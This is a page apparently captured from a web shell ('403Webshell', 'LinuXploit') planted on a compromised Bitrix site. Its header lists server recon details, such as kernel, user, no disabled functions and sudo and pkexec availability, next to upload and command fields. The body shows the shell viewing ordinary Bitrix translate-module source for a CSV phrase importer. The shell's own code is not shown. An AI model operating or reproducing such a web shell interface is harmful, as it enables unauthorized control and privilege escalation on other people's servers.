403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/translate/lib/controller/import/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/translate/lib/controller/import/importcsv.php
<?php
namespace Bitrix\Translate\Controller\Import;

use Bitrix\Main;
use Bitrix\Main\Localization\Loc;
use Bitrix\Translate;


/**
 * Harvester of the lang folder disposition.
 */
class ImportCsv
	extends Translate\Controller\Action
	implements Translate\Controller\ITimeLimit, Translate\Controller\IProcessParameters
{
	use Translate\Controller\Stepper;
	use Translate\Controller\ProcessParams;

	/** @var int */
	private $seekLine;

	/** @var string */
	protected static $documentRoot;
	/** @var string[] */
	protected static $enabledLanguages;
	/** @var string[] */
	protected static $sourceEncoding;
	/** @var boolean */
	protected static $isUtfMode;

	/** @var int Session tab counter. */
	private $tabId = 0;

	/** @var string */
	private $encodingIn;

	/** @var string */
	private $updateMethod;

	/** @var string */
	private $csvFilePath;

	/** @var Translate\IO\CsvFile */
	private $csvFile;


	/** @var string[] */
	private $languageList;

	/** @var string[] */
	private $columnList;

	/** @var int */
	private $importedPhraseCount = 0;



	/**
	 * \Bitrix\Main\Engine\Action constructor.
	 *
	 * @param string $name Action name.
	 * @param Main\Engine\Controller $controller Parent controller object.
	 * @param array $config Additional configuration.
	 */
	public function __construct($name, Main\Engine\Controller $controller, array $config = [])
	{
		$fields = ['tabId', 'encodingIn', 'updateMethod', 'csvFilePath', 'seekLine', 'importedPhrasesCount'];

		$this->keepField($fields);

		foreach ($fields as $key)
		{
			if (!empty($config[$key]))
			{
				$this->{$key} = $config[$key];
			}
		}

		self::$documentRoot = \rtrim(Translate\IO\Path::tidy(Main\Application::getDocumentRoot()), '/');

		self::$enabledLanguages = Translate\Config::getEnabledLanguages();

		foreach (self::$enabledLanguages as $languageId)
		{
			self::$sourceEncoding[$languageId] = \mb_strtolower(Main\Localization\Translation::getSourceEncoding($languageId));
		}

		parent::__construct($name, $controller, $config);
	}

	/**
	 * Runs controller action.
	 *
	 * @param boolean $runBefore Flag to run onBeforeRun event handler.
	 *
	 * @return array
	 */
	public function run($runBefore = false)
	{
		if ($runBefore)
		{
			$this->onBeforeRun();
		}

		$this->csvFile = new Translate\IO\CsvFile($this->csvFilePath);

		$this->csvFile
			->setFieldsType(Translate\IO\CsvFile::FIELDS_TYPE_WITH_DELIMITER)
			->setFirstHeader(false)
		;

		if (!$this->csvFile->openLoad())
		{
			$this->addError(new Main\Error(Loc::getMessage('TR_IMPORT_EMPTY_FILE_ERROR')));

			return [
				'STATUS' => Translate\Controller\STATUS_COMPLETED
			];
		}
		if (!$this->verifyCsvFile())
		{
			return [
				'STATUS' => Translate\Controller\STATUS_COMPLETED
			];
		}

		if ($this->csvFile->hasUtf8Bom())
		{
			$this->encodingIn = 'utf-8';
		}

		if ($this->isNewProcess)
		{
			$this->clearProgressParameters();

			$this->totalItems = 0;
			while ($csvRow = $this->csvFile->fetch())
			{
				$this->totalItems ++;
			}

			$this->processedItems = 0;
			$this->seekLine = 0;

			$this->saveProgressParameters();

			return [
				'STATUS' => Translate\Controller\STATUS_PROGRESS,
				'PROCESSED_ITEMS' => 0,
				'TOTAL_ITEMS' => $this->totalItems,
			];
		}
		else
		{
			$progressParams = $this->getProgressParameters();

			if (isset($progressParams['totalItems']))
			{
				$this->totalItems = $progressParams['totalItems'];
			}
			if (isset($progressParams['seekLine']))
			{
				$this->seekLine = $progressParams['seekLine'];
			}
			if (isset($progressParams['importedPhrasesCount']))
			{
				$this->importedPhraseCount = $progressParams['importedPhrasesCount'];
			}
		}

		return $this->performStep('runImporting');
	}

	/**
	 * Imports data from csv file.
	 *
	 * @return array
	 */
	private function runImporting(): array
	{
		$fileIndex = $this->columnList['file'];
		$keyIndex = $this->columnList['key'];

		$currentLine = 0;
		$maxLinePortion = 500;
		$hasFinishedReading = false;

		while (true)
		{
			$linePortion = 0;
			$phraseList = [];

			while ($csvRow = $this->csvFile->fetch())
			{
				$currentLine ++;

				if ($this->seekLine > 0)
				{
					if ($currentLine <= $this->seekLine)
					{
						continue;
					}
				}

				if (
					!\is_array($csvRow) ||
					empty($csvRow) ||
					(\count($csvRow) == 1 && ($csvRow[0] === null || $csvRow[0] === ''))
				)
				{
					continue;
				}

				$rowErrors = [];

				$filePath = (isset($csvRow[$fileIndex]) ? $csvRow[$fileIndex] : '');
				$key = (isset($csvRow[$keyIndex]) ? $csvRow[$keyIndex] : '');
				if ($filePath == '' || $key == '')
				{
					if ($filePath == '')
					{
						$rowErrors[] = Loc::getMessage('TR_IMPORT_ERROR_DESTINATION_FILEPATH_ABSENT');
					}
					if ($key == '')
					{
						$rowErrors[] = Loc::getMessage('TR_IMPORT_ERROR_PHRASE_CODE_ABSENT');
					}
					$this->addError(new Main\Error(Loc::getMessage(
						'TR_IMPORT_ERROR_LINE_FILE_EXT',
						[
							'#LINE#' => ($currentLine + 1),
							'#ERROR#' => implode('; ', $rowErrors)
						]
					)));

					continue;
				}

				$linePortion ++;

				if (!isset($phraseList[$filePath]))
				{
					$phraseList[$filePath] = [];
				}
				foreach ($this->languageList as $languageId)
				{
					if (!isset($phraseList[$filePath][$languageId]))
					{
						$phraseList[$filePath][$languageId] = [];
					}

					$langIndex = $this->columnList[$languageId];
					if (!isset($csvRow[$langIndex]) || (empty($csvRow[$langIndex]) && $csvRow[$langIndex] !== '0'))
					{
						continue;
					}

					//$phrase = str_replace("\\\\", "\\", $csvRow[$langIndex]);
					$phrase = $csvRow[$langIndex];

					$encodingOut = self::$sourceEncoding[$languageId];

					if (!empty($this->encodingIn) && $this->encodingIn !== $encodingOut)
					{
						$phrase = Main\Text\Encoding::convertEncoding($phrase, $this->encodingIn, $encodingOut);
					}

					$checked = true;
					if ($encodingOut === 'utf-8')
					{
						$validPhrase = \preg_replace("/[^\x01-\x7F]/", '', $phrase);// remove ASCII characters
						if ($validPhrase !== $phrase)
						{
							$checked = Translate\Text\StringHelper::validateUtf8OctetSequences($phrase);
						}
						unset($validPhrase);
					}

					if ($checked)
					{
						$phraseList[$filePath][$languageId][$key] = $phrase;
					}
					else
					{
						$rowErrors[] = Loc::getMessage('TR_IMPORT_ERROR_NO_VALID_UTF8_PHRASE', ['#LANG#' => $languageId]);
					}

					unset($checked, $phrase);
				}

				if (!empty($rowErrors))
				{
					$this->addError(new Main\Error(Loc::getMessage(
						'TR_IMPORT_ERROR_LINE_FILE_BIG',
						[
							'#LINE#' => ($currentLine + 1),
							'#FILENAME#' => $filePath,
							'#PHRASE#' => $key,
							'#ERROR#' => implode('; ', $rowErrors),
						]
					)));
				}
				unset($rowErrors);


				if ($linePortion >= $maxLinePortion)
				{
					break;
				}
			}

			if ($csvRow === null)
			{
				$hasFinishedReading = true;
			}
			unset($csvRow);

			$this->processedItems += $linePortion;

			foreach ($phraseList as $filePath => $translationList)
			{
				if (Translate\IO\Path::isLangDir($filePath, true) !== true)
				{
					$this->addError(new Main\Error(Loc::getMessage('TR_IMPORT_ERROR_FILE_NOT_LANG', ['#FILE#' => $filePath])));
					continue;
				}

				$filePath = Translate\IO\Path::normalize('/'.$filePath);

				foreach ($translationList as $languageId => $fileMessages)
				{
					if (empty($fileMessages))
					{
						continue;
					}

					$langFilePath = Translate\IO\Path::replaceLangId($filePath, $languageId);

					if (\Rel2Abs('/', $langFilePath) !== $langFilePath)
					{
						$this->addError(new Main\Error(Loc::getMessage('TR_IMPORT_ERROR_BAD_FILEPATH', ['#FILE#' => $filePath])));
						break;
					}

					$fullPath = self::$documentRoot. $langFilePath;
					$fullPath = Main\Localization\Translation::convertLangPath($fullPath, $languageId);

					$langFile = new Translate\File($fullPath);
					$langFile->setLangId($languageId);
					$langFile->setOperatingEncoding(self::$sourceEncoding[$languageId]);

					if (!$langFile->loadTokens())
					{
						if (!$langFile->load() && $langFile->hasErrors())
						{
							foreach ($langFile->getErrors() as $error)
							{
								if ($error->getCode() !== 'EMPTY_CONTENT')
								{
									$this->addError($error);
								}
							}
						}
					}
					if (\count($this->getErrors()) > 0)
					{
						continue;
					}

					$hasDataToUpdate = false;

					/** @var \ArrayAccess $langFile */
					foreach ($fileMessages as $key => $phrase)
					{
						switch ($this->updateMethod)
						{
							// import only new messages
							case Translate\Controller\Import\Csv::METHOD_ADD_ONLY:
								if (!isset($langFile[$key]) || (empty($langFile[$key]) && $langFile[$key] !== '0'))
								{
									$langFile[$key] = $phrase;
									$hasDataToUpdate = true;
									$this->importedPhraseCount ++;
								}
								break;

							// update only existing messages
							case Translate\Controller\Import\Csv::METHOD_UPDATE_ONLY:
								if (isset($langFile[$key]) && $langFile[$key] !== $phrase)
								{
									$langFile[$key] = $phrase;
									$hasDataToUpdate = true;
									$this->importedPhraseCount ++;
								}
								break;


							// import new messages and replace all existing with new ones
							case Translate\Controller\Import\Csv::METHOD_ADD_UPDATE:
								if ($langFile[$key] !== $phrase)
								{
									$langFile[$key] = $phrase;
									$hasDataToUpdate = true;
									$this->importedPhraseCount ++;
								}
								break;
						}
					}

					if ($hasDataToUpdate)
					{
						// backup
						if ($langFile->isExists() && Translate\Config::needToBackUpFiles())
						{
							if (!$langFile->backup())
							{
								$this->addError(new Main\Error(
									Loc::getMessage('TR_IMPORT_ERROR_CREATE_BACKUP', ['#FILE#' => $langFilePath])
								));
							}
						}

						// sort phrases by key
						if (Translate\Config::needToSortPhrases())
						{
							if (\in_array($languageId, Translate\Config::getNonSortPhraseLanguages()) === false)
							{
								$langFile->sortPhrases();
							}
						}

						try
						{
							if (!$langFile->save())
							{
								if ($langFile->hasErrors())
								{
									$this->addErrors($langFile->getErrors());
								}
							}
						}
						catch (Main\IO\IoException $exception)
						{
							if (!$langFile->isExists())
							{
								$this->addError(new Main\Error(
									Loc::getMessage('TR_IMPORT_ERROR_WRITE_CREATE', ['#FILE#' => $langFilePath])
								));
							}
							else
							{
								$this->addError(new Main\Error(
									Loc::getMessage('TR_IMPORT_ERROR_WRITE_UPDATE', ['#FILE#' => $langFilePath])
								));
							}
						}
					}
				}
			}

			if ($this->instanceTimer()->hasTimeLimitReached())
			{
				$this->seekLine = $currentLine;
				break;
			}

			if ($hasFinishedReading)
			{
				$this->declareAccomplishment();
				$this->clearProgressParameters();
				break;
			}
		}

		$this->csvFile->close();

		if ($this->instanceTimer()->hasTimeLimitReached() !== true)
		{
			$this->declareAccomplishment();
			$this->clearProgressParameters();
		}

		return [
			'PROCESSED_ITEMS' => $this->processedItems,
			'TOTAL_ITEMS' => $this->totalItems,
			'TOTAL_PHRASES' => $this->importedPhraseCount,
		];
	}


	/**
	 * Validates uploaded csv file.
	 *
	 * @return boolean
	 */
	private function verifyCsvFile(): bool
	{
		$testDelimiters = [
			Translate\IO\CsvFile::DELIMITER_TZP,
			Translate\IO\CsvFile::DELIMITER_TAB,
			Translate\IO\CsvFile::DELIMITER_ZPT,
		];
		foreach ($testDelimiters as $delimiter)
		{
			$this->csvFile->setFieldDelimiter($delimiter);

			$this->csvFile->moveFirst();
			$rowHead = $this->csvFile->fetch();
			if (
				!\is_array($rowHead)
				|| empty($rowHead)
				|| empty($rowHead[0])
				|| (\count($rowHead) < 3)
			)
			{
				continue;
			}

			break;
		}

		if (
			!is_array($rowHead)
			|| empty($rowHead)
			|| empty($rowHead[0])
			|| (count($rowHead) < 3)
		)
		{
			$this->addError(new Main\Error(Loc::getMessage('TR_IMPORT_ERR_EMPTY_FIRST_ROW')));

			return false;
		}

		$this->languageList = self::$enabledLanguages;
		$this->columnList = array_flip($rowHead);
		foreach ($this->languageList as $keyLang => $langID)
		{
			if (!isset($this->columnList[$langID]))
			{
				unset($this->languageList[$keyLang]);
			}
		}
		if (!isset($this->columnList['file']))
		{
			$this->addError(new Main\Error(Loc::getMessage('TR_IMPORT_ERR_DESTINATION_FIELD_ABSENT')));
		}
		if (!isset($this->columnList['key']))
		{
			$this->addError(new Main\Error(Loc::getMessage('TR_IMPORT_ERR_PHRASE_CODE_FIELD_ABSENT')));
		}
		if (empty($this->languageList))
		{
			$this->addError(new Main\Error(Loc::getMessage('TR_IMPORT_ERR_LANGUAGE_LIST_ABSENT')));
		}

		return count($this->getErrors()) === 0;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit